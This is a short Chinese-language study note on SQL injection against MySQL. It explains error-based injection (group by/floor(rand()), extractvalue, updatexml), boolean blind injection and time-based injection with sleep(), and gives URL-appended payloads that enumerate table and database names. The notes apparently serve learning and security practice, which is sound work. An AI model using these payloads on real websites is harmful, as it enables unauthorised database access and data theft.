之前使用的是联合查询,这次使用报错注入
在注入点的判断中,如果发现数据库中的报错信息会直接显示在页面中,则可以用报错注入
group by 重复键冲突报错
查表名
URL:select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand()*2))x from information_schema.tables group by x)a
加粗的x跟a前面都其实是前面语句的别名,完成用法是“一大串语句” as 别名
其中as可以省略
XPATH报错
extractvalue函数
函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用URL后加:and extractvalue(1,concat('~',(select database()),'~'))
~是添加的连接符,可以换成‘#’、‘$‘等不满足xpath格式的字符,实践中最好把~换成十六进制
注意低版本的MySQL没有这个函数
extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位
updataxml函数
函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值第二个参数跟extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同
URL后加:and updatexml("1",concat('~',(select database())),"1")
如果页面存在布尔状态可以使用布尔盲注
猜数据库名长度
URL后加:and length(database())=1 通过改变数字判断数据库名长度
URL后加:and ascii(substr(database(),1,1))=99 判断数据库名第一个单词
substr(字符串,第几个开始,长度)
或者延时注入
URL后加:and if((length(database())=3),sleep(5),1)
URL后加:and if((ascii(substr(database(),1,1))=99),sleep(5),1)